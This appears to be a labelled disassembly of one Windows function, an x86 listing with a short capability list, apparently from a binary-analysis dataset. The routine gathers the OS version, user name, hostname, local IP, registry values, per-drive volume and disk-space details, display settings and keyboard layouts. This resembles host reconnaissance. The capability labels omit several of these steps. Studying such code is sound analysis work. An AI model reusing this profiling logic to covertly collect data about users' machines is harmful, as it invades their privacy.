Function at 0x408dca
Capabilities:
Get disk information
Get disk size
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xc2
push 0
push 0
dec ecx
jne 0x408428
push ecx
push ebx
push esi
push edi
mov ebx, eax
mov edi, 0x41bb14
xor eax, eax
push ebp
push 0x409739
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
mov edx, 0x409750
call fcn.004037f8
mov dword [ebp - 0xe4], 0x94
mov eax, edi
mov edx, 0x40975c
call fcn.004037f8
lea eax, [ebp - 0xe4]
push eax
call sub.kernel32.dll_GetVersionExA
mov esi, dword [ebp - 0xd4]
cmp esi, 2
jne 0x408490
lea eax, [ebp - 0xc]
mov edx, 0x4097f4
call fcn.0040383c
jmp 0x4084b4
mov eax, esi
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x59c]
call fcn.00405444
mov ecx, dword [ebp - 0x59c]
lea eax, [ebp - 0xc]
mov edx, 0x409810
call fcn.00403968
cmp byte [0x41bb58], 0
je 0x4084cc
lea eax, [ebp - 8]
mov edx, 0x40982c
call fcn.0040383c
jmp 0x4084d9
lea eax, [ebp - 8]
mov edx, 0x40983c
call fcn.0040383c
mov eax, dword [ebp - 0xe0]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5a0]
call fcn.00405444
push dword [ebp - 0x5a0]
push 0x40984c
mov eax, dword [ebp - 0xdc]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5a4]
call fcn.00405444
push dword [ebp - 0x5a4]
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.004039dc
mov eax, dword [ebp - 0x10]
mov edx, 0x409858
call fcn.00403a68
jne 0x40853d
lea eax, [ebp - 8]
mov edx, 0x409864
call fcn.0040383c
mov eax, edi
mov edx, 0x409874
call fcn.004037f8
lea eax, [ebp - 0x1c]
lea edx, [ebp - 0xd0]
mov ecx, 0x80
call fcn.00403904
mov eax, dword [ebp - 0x1c]
mov edx, 0x4098f4
call fcn.00403a68
jne 0x40857a
lea eax, [ebp - 0x1c]
mov edx, 0x40990c
call fcn.0040383c
jmp 0x4085d2
mov eax, dword [ebp - 0x1c]
mov edx, 0x409918
call fcn.00403a68
jne 0x408598
lea eax, [ebp - 0x1c]
mov edx, 0x409930
call fcn.0040383c
jmp 0x4085d2
mov eax, dword [ebp - 0x1c]
mov edx, 0x40993c
call fcn.00403a68
jne 0x4085b6
lea eax, [ebp - 0x1c]
mov edx, 0x409954
call fcn.0040383c
jmp 0x4085d2
mov eax, dword [ebp - 0x1c]
mov edx, 0x409960
call fcn.00403a68
jne 0x4085d2
lea eax, [ebp - 0x1c]
mov edx, 0x409978
call fcn.0040383c
mov eax, dword [ebp - 0xd8]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5a8]
call fcn.00405444
mov ecx, dword [ebp - 0x5a8]
lea eax, [ebp - 0x14]
mov edx, 0x409984
call fcn.00403968
push dword [ebp - 8]
push 0x409750
push dword [ebp - 0x10]
push 0x409994
push dword [ebp - 0x1c]
push 0x409994
push dword [ebp - 0x14]
push 0x409994
lea eax, [ebp - 0x18]
mov edx, 8
call fcn.004039dc
push 0x4099a0
push dword [ebp - 0xc]
push 0x4099a0
push dword [ebp - 8]
push 0x409750
push dword [ebp - 0x10]
push 0x4099a0
push dword [ebp - 0x14]
push 0x4099a0
push dword [ebp - 0x1c]
push 0x4099a0
push 0x4099ac
push dword [0x41badc]
push 0x4099c0
push 0x4099a0
mov eax, ebx
mov edx, 0xf
call fcn.004039dc
push 0xfa
lea eax, [ebp - 0x577]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
push dword [ebx]
push 0x4099cc
lea eax, [ebp - 0x5ac]
lea edx, [ebp - 0x577]
mov ecx, 0xfb
call fcn.00403904
push dword [ebp - 0x5ac]
push 0x4099a0
mov eax, ebx
mov edx, 4
call fcn.004039dc
mov eax, dword [0x41a258]
push eax
push 0x400
lea eax, [ebp - 8]
push eax
mov ecx, 0x4099e0
mov edx, 0x4099f4
mov eax, 0x80000001
call fcn.0040689c
push dword [ebx]
push 0x409a18
push dword [ebp - 8]
push 0x4099a0
mov eax, ebx
mov edx, 4
call fcn.004039dc
mov eax, edi
mov edx, 0x409a2c
call fcn.004037f8
push dword [ebp - 0x18]
push dword [ebp - 8]
push 0x409994
lea eax, [ebp - 0x18]
mov edx, 3
call fcn.004039dc
push dword [ebx]
push 0x409adc
push dword [0x41bad8]
push 0x4099a0
mov eax, ebx
mov edx, 4
call fcn.004039dc
push dword [ebp - 0x18]
push 0x409af4
push dword [0x41bad8]
push 0x409994
lea eax, [ebp - 0x18]
mov edx, 4
call fcn.004039dc
mov dword [ebp - 0x4c], 0x32
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x577]
push eax
call sub.advapi32.dll_GetUserNameA
push dword [ebx]
push 0x409b04
lea eax, [ebp - 0x5b0]
lea edx, [ebp - 0x577]
mov ecx, 0xfb
call fcn.00403904
push dword [ebp - 0x5b0]
push 0x4099a0
mov eax, ebx
mov edx, 4
call fcn.004039dc
mov eax, edi
mov edx, 0x409b18
call fcn.004037f8
push dword [ebp - 0x18]
push 0x409be4
lea eax, [ebp - 0x5b4]
lea edx, [ebp - 0x577]
mov ecx, 0xfb
call fcn.00403904
push dword [ebp - 0x5b4]
push 0x409994
lea eax, [ebp - 0x18]
mov edx, 4
call fcn.004039dc
mov eax, edi
mov edx, 0x409bf4
call fcn.004037f8
lea eax, [ebp - 8]
mov edx, 0x409c7c
call fcn.0040383c
lea eax, [ebp - 0xc]
mov ecx, 0x409ca0
mov edx, dword [ebp - 8]
call fcn.00403968
mov eax, edi
mov edx, 0x409cbc
call fcn.004037f8
mov eax, dword [0x41a258]
push eax
mov ecx, 0x409d8c
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.004067e8
lea edx, [ebp - 0x10]
call fcn.00405424
push dword [ebp - 0x18]
push 0x409d9c
push dword [ebp - 0x10]
push 0x409994
lea eax, [ebp - 0x18]
mov edx, 4
call fcn.004039dc
push dword [ebx]
push 0x409dac
push 0x409db8
push dword [ebp - 0x10]
push 0x409dc8
push 0x4099a0
push 0x409dd8
mov eax, dword [0x41a258]
push eax
push 0x400
lea eax, [ebp - 0x5b8]
push eax
mov ecx, 0x409df4
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.0040689c
push dword [ebp - 0x5b8]
push 0x4099a0
push 0x409e10
mov eax, dword [0x41a258]
push eax
push 0x400
lea eax, [ebp - 0x5bc]
push eax
mov ecx, 0x409e28
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.0040689c
push dword [ebp - 0x5bc]
push 0x4099a0
push 0x409e3c
mov eax, dword [0x41a258]
push eax
push 0x400
lea eax, [ebp - 0x5c0]
push eax
mov ecx, 0x409e50
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.0040689c
push dword [ebp - 0x5c0]
push 0x4099a0
push 0x409e6c
mov eax, dword [0x41a258]
push eax
push 0x400
lea eax, [ebp - 0x5c4]
push eax
mov ecx, 0x409e84
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.0040689c
push dword [ebp - 0x5c4]
push 0x4099a0
push 0x409ea0
mov eax, dword [0x41a258]
push eax
push 0x400
lea eax, [ebp - 0x5c8]
push eax
mov ecx, 0x409eb4
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.0040689c
push dword [ebp - 0x5c8]
push 0x4099a0
push 0x409ecc
mov eax, dword [0x41a258]
push eax
push 0x400
lea eax, [ebp - 0x5cc]
push eax
mov ecx, 0x409eec
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.0040689c
push dword [ebp - 0x5cc]
push 0x4099a0
push 0x409f08
mov eax, dword [0x41a258]
push eax
push 0x400
lea eax, [ebp - 0x5d0]
push eax
mov ecx, 0x409f24
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.0040689c
push dword [ebp - 0x5d0]
push 0x4099a0
mov eax, ebx
mov edx, 0x1b
call fcn.004039dc
mov eax, edi
mov edx, 0x409f3c
call fcn.004037f8
lea eax, [ebp - 8]
mov edx, 0x409f9c
call fcn.0040383c
mov eax, edi
mov edx, 0x409fac
call fcn.004037f8
xor eax, eax
mov dword [ebp - 0x24], eax
lea edx, [ebp - 0x14]
mov eax, dword [ebp - 0x24]
call fcn.00405424
mov eax, dword [0x41a258]
push eax
push 0x400
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x5d4]
mov ecx, dword [ebp - 0x14]
mov edx, 0x40a030
call fcn.00403968
mov ecx, dword [ebp - 0x5d4]
mov edx, 0x40a048
mov eax, 0x80000002
call fcn.0040689c
mov eax, dword [ebp - 0x10]
call fcn.0040391c
test eax, eax
jle 0x408a7b
push dword [ebx]
push dword [ebp - 8]
push dword [ebp - 0x10]
push 0x4099a0
mov eax, ebx
mov edx, 4
call fcn.004039dc
mov eax, dword [0x41a258]
push eax
push 0x400
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x5d8]
mov ecx, dword [ebp - 0x14]
mov edx, 0x40a070
call fcn.00403968
mov ecx, dword [ebp - 0x5d8]
mov edx, 0x40a08c
mov eax, 0x80000002
call fcn.0040689c
mov eax, dword [ebp - 0x10]
call fcn.0040391c
test eax, eax
jle 0x408ad7
push dword [ebx]
push dword [ebp - 8]
push dword [ebp - 0x10]
push 0x4099a0
mov eax, ebx
mov edx, 4
call fcn.004039dc
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 7
jne 0x408a14
mov eax, edi
mov edx, 0x40a0b8
call fcn.004037f8
mov eax, dword [0x41a258]
push eax
mov ecx, 0x40a130
mov edx, 0x40a148
mov eax, 0x80000002
call fcn.004067e8
lea edx, [ebp - 0x14]
call fcn.00405424
mov eax, edi
mov edx, 0x40a190
call fcn.004037f8
mov eax, dword [ebp - 0x14]
call fcn.0040391c
test eax, eax
jle 0x408b44
push 0x40a1b0
push dword [ebp - 0x14]
push 0x4099a0
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004039dc
mov eax, edi
mov edx, 0x40a1c8
call fcn.004037f8
push dword [ebp - 0x18]
push dword [0x41badc]
push 0x409994
lea eax, [ebp - 0x18]
mov edx, 3
call fcn.004039dc
push dword [ebx]
push 0x40a1e0
push dword [0x41baec]
push 0x4099a0
push dword [ebp - 0x14]
mov eax, ebx
mov edx, 5
call fcn.004039dc
lea eax, [ebp - 0x274]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
mov eax, edi
mov edx, 0x40a1f0
call fcn.004037f8
push 0xff
lea eax, [ebp - 0x577]
push eax
call sub.wsock32.dll_gethostname
lea eax, [ebp - 0x577]
push eax
call sub.wsock32.dll_gethostbyname
mov esi, eax
mov eax, dword [esi + 0xc]
mov eax, dword [eax]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
lea eax, [ebp - 8]
call fcn.004038d4
push dword [ebx]
push 0x40a2a0
push dword [ebp - 8]
mov eax, ebx
mov edx, 3
call fcn.004039dc
mov eax, edi
mov edx, 0x40a0b8
call fcn.004037f8
push dword [ebp - 0x18]
push 0x40a2b4
push dword [ebp - 8]
push 0x409994
push 0x40a2c0
lea eax, [ebp - 0x18]
mov edx, 5
call fcn.004039dc
call sub.wsock32.dll_WSACleanup
mov eax, edi
mov edx, 0x40a2d0
call fcn.004037f8
push dword [ebx]
push 0x4099a0
push 0x4099a0
push 0x40a32c
push 0x4099a0
mov eax, ebx
mov edx, 5
call fcn.004039dc
mov eax, edi
mov edx, 0x40a344
call fcn.004037f8
mov byte [ebp - 1], 0x42
lea eax, [ebp - 0x5dc]
mov dl, byte [ebp - 1]
call fcn.004038c4
mov edx, dword [ebp - 0x5dc]
lea eax, [ebp - 0x20]
mov ecx, 0x40a3c8
call fcn.00403968
mov eax, dword [ebp - 0x20]
call fcn.00403b1c
mov esi, eax
push esi
call sub.kernel32.dll_GetDriveTypeA
cmp eax, 6
ja case.0x408c9f.0
jmp dword [eax*4 + 0x408ca6]
mov eax, edi
mov edx, 0x40a3d4
call fcn.004037f8
lea eax, [ebp - 8]
mov edx, 0x40a4b0
call fcn.0040383c
lea eax, [ebp - 0xc]
mov edx, 0x40a4c4
call fcn.0040383c
jmp 0x408dd2
mov eax, edi
mov edx, 0x40a4d0
call fcn.004037f8
lea eax, [ebp - 8]
mov edx, 0x40a4fc
call fcn.0040383c
lea eax, [ebp - 0xc]
mov edx, 0x40a50c
call fcn.0040383c
jmp 0x408dd2
lea eax, [ebp - 8]
mov edx, 0x40a518
call fcn.0040383c
lea eax, [ebp - 0xc]
mov edx, 0x40a528
call fcn.0040383c
mov eax, edi
mov edx, 0x40a538
call fcn.004037f8
jmp 0x408dd2
lea eax, [ebp - 8]
mov edx, 0x40a59c
call fcn.0040383c
lea eax, [ebp - 0xc]
mov edx, 0x40a5ac
call fcn.0040383c
mov eax, edi
mov edx, 0x40a5b8
call fcn.004037f8
push dword [ebx]
push 0x4099a0
push 0x409dac
push dword [ebp - 0x20]
push dword [ebp - 8]
push 0x4099a0
mov eax, ebx
mov edx, 6
call fcn.004039dc
lea eax, [ebp - 8]
call fcn.004037a4
mov eax, edi
mov edx, 0x40a640
call fcn.004037f8
jmp 0x408dd2
lea eax, [ebp - 8]
mov edx, 0x40a6a8
call fcn.0040383c
mov eax, edi
mov edx, 0x40a6b8
call fcn.004037f8
lea eax, [ebp - 0xc]
mov edx, 0x40a6fc
call fcn.0040383c
jmp 0x408dd2
lea eax, [ebp - 8]
call fcn.004037a4
mov eax, edi
mov edx, 0x40a1c8
call fcn.004037f8
mov eax, dword [ebp - 8]
call fcn.0040391c
dec eax
jl 0x40901e
mov eax, edi
mov edx, 0x40a710
call fcn.004037f8
push dword [ebp - 0x18]
lea eax, [ebp - 0x5e0]
mov dl, byte [ebp - 1]
call fcn.004038c4
push dword [ebp - 0x5e0]
push 0x40a738
push dword [ebp - 0xc]
lea eax, [ebp - 0x18]
mov edx, 4
call fcn.004039dc
push dword [ebx]
push 0x409dac
push dword [ebp - 0x20]
push 0x4099a0
push 0x40a744
push dword [ebp - 8]
push 0x4099a0
mov eax, ebx
mov edx, 7
call fcn.004039dc
mov eax, edi
mov edx, 0x40a754
call fcn.004037f8
push 0x64
lea eax, [ebp - 0x47c]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x28]
push eax
push 0x104
lea eax, [ebp - 0x378]
push eax
push esi
call sub.kernel32.dll_GetVolumeInformationA
test eax, eax
je 0x408f48
push dword [ebx]
push 0x40a788
lea eax, [ebp - 0x5e4]
lea edx, [ebp - 0x378]
mov ecx, 0x104
call fcn.00403904
push dword [ebp - 0x5e4]
push 0x4099a0
push 0x40a798
lea eax, [ebp - 0x5e8]
lea edx, [ebp - 0x47c]
mov ecx, 0x104
call fcn.00403904
push dword [ebp - 0x5e8]
push 0x4099a0
push 0x40a7a8
mov eax, dword [ebp - 0x28]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5ec]
call fcn.00405444
push dword [ebp - 0x5ec]
push 0x4099a0
push 0x40a7b8
mov eax, dword [ebp - 0x2c]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5f0]
call fcn.00405444
push dword [ebp - 0x5f0]
push 0x4099a0
push 0x40a7cc
mov eax, dword [ebp - 0x30]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5f4]
call fcn.00405444
push dword [ebp - 0x5f4]
push 0x4099a0
mov eax, ebx
mov edx, 0x10
call fcn.004039dc
mov eax, edi
mov edx, 0x40a640
call fcn.004037f8
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x38]
push eax
push esi
call sub.kernel32.dll_GetDiskFreeSpaceExA
test eax, eax
je 0x40901e
push dword [ebx]
push 0x40a7dc
push 0
push 0x100000
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
call fcn.00404080
push edx
push eax
lea eax, [ebp - 0x5f8]
call fcn.00405444
push dword [ebp - 0x5f8]
push 0x40a7ec
push 0x4099a0
push 0x40a7f8
push 0
push 0x100000
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
call fcn.00404080
push edx
push eax
lea eax, [ebp - 0x5fc]
call fcn.00405444
push dword [ebp - 0x5fc]
push 0x40a7ec
push 0x4099a0
push 0x40a808
push 0
push 0x100000
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x48]
sbb edx, dword [ebp - 0x44]
call fcn.00404080
push edx
push eax
lea eax, [ebp - 0x600]
call fcn.00405444
push dword [ebp - 0x600]
push 0x40a7ec
push 0x4099a0
mov eax, ebx
mov edx, 0xd
call fcn.004039dc
inc byte [ebp - 1]
cmp byte [ebp - 1], 0x5b
jne 0x408c65
push 0
push 0
push 0
push 0x40a810
call sub.gdi32.dll_CreateDCA
mov esi, eax
push 8
push esi
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 8]
call fcn.00405424
mov eax, edi
mov edx, 0x40a820
call fcn.004037f8
push 0xa
push esi
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 0xc]
call fcn.00405424
push 0x74
push esi
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 0x10]
call fcn.00405424
push 0xc
push esi
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 0x14]
call fcn.00405424
push esi
call sub.gdi32.dll_DeleteDC
push dword [ebx]
push 0x409dac
push 0x40a8e0
push 0x4099a0
push 0x40a8f4
push dword [ebp - 8]
push 0x4099a0
push 0x40a904
push dword [ebp - 0xc]
push 0x4099a0
push 0x40a918
push dword [ebp - 0x10]
push 0x4099a0
push 0x40a92c
push dword [ebp - 0x14]
push 0x4099a0
mov eax, ebx
mov edx, 0x10
call fcn.004039dc
mov eax, edi
mov edx, 0x40a944
call fcn.004037f8
push dword [ebp - 0x18]
push 0x409994
push 0x40a97c
push dword [ebp - 8]
push 0x40a98c
push dword [ebp - 0xc]
push 0x40a998
push dword [ebp - 0x10]
push 0x40a98c
push dword [ebp - 0x14]
lea eax, [ebp - 0x18]
mov edx, 0xa
call fcn.004039dc
mov eax, edi
mov edx, 0x40a9a4
call fcn.004037f8
lea eax, [ebp - 0x598]
xor ecx, ecx
mov edx, 7
call fcn.00402bd8
lea eax, [ebp - 0x598]
push eax
push 8
call sub.user32.dll_GetKeyboardLayoutList
mov dword [ebp - 0x4c], eax
mov eax, edi
mov edx, 0x40a9c8
call fcn.004037f8
push 0x40aa3c
mov eax, dword [ebp - 0x4c]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x604]
call fcn.00405444
push dword [ebp - 0x604]
push 0x4099a0
lea eax, [ebp - 8]
mov edx, 3
call fcn.004039dc
mov eax, edi
mov edx, 0x40aa58
call fcn.004037f8
mov eax, dword [ebp - 0x4c]
dec eax
test eax, eax
jl 0x40960c
inc eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x24], 0
lea esi, [ebp - 0x598]